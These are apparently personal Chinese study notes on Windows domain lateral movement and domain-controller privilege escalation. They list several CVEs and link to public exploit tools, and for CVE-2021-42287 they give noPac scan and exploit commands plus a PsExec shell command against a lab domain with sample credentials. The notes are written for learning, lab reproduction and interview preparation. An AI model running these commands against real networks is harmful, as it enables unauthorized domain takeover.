10、内网安全-横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝

用途：个人学习笔记，有所借鉴，欢迎指正！

背景：

主要针对内网主机中的
域控提权漏洞，包含漏洞探针和漏洞复现利用。

1、横向移动-系统漏洞-CVE-2017-0146（ms17-010，永恒之蓝）

永恒之蓝（CVE-2017-0146）复现（超详细）_永恒之蓝模型-CSDN博客

**2、横向移动-域控提权-CVE-2014-6324 **

3、横向移动-域控提权-CVE-2020-1472（重点）

4、 横向移动-域控提权-CVE-2021-42287（重点）

5、横向移动-域控提权-CVE-2022-26923（重点）

横向移动-域控提权-CVE-2021-42287

前提条件
一个域内普通账号与密码，没有补丁
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

影响版本
Windows基本全系列(未打补丁)

python版本EXP

https://github.com/WazeHell/sam-the-admin

利用过程
windows下(貌似不能使用)：报错 ‘KRB5CCNAME’ 不是内部或外部命令，也不是可运行的程序
或批处理文件。

需要在kali中运行：

C#版本EXP

项目地址：GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.

利用过程：

1、使用代理后：
修改Host绑定域名和IP
2、扫描探针：

noPac scan -domain god.org -user webadmin -pass admin!@#45

3、利用连接：

noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt
PsExec \\owa2010cn-god.god.org cmd

其余漏洞就不一一罗列了，漏洞复现请恕我划一波水，使用现成的贼香。

域控提权漏洞利用参考文章：

【内网安全】横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝_第133天:内网安全-横向移动&域控提权&netlogon&adcs&pac&kdc&永恒之蓝.pd-CSDN博客

内网安全第一百三十三天_内网安全-实战项目&vpc4 线上&三层路由&免杀对抗&域控提权&资源 委派-CSDN博客

总结：

我个人学习是通过课程和以上文章，漏洞利用的话，基本上就是根据复现文章一步一步实现，对于域控提权的漏洞编号还是得记一记，这些常识可能面试会问到，像CVE-2017-0146(ms17-010) 要做到耳熟能详。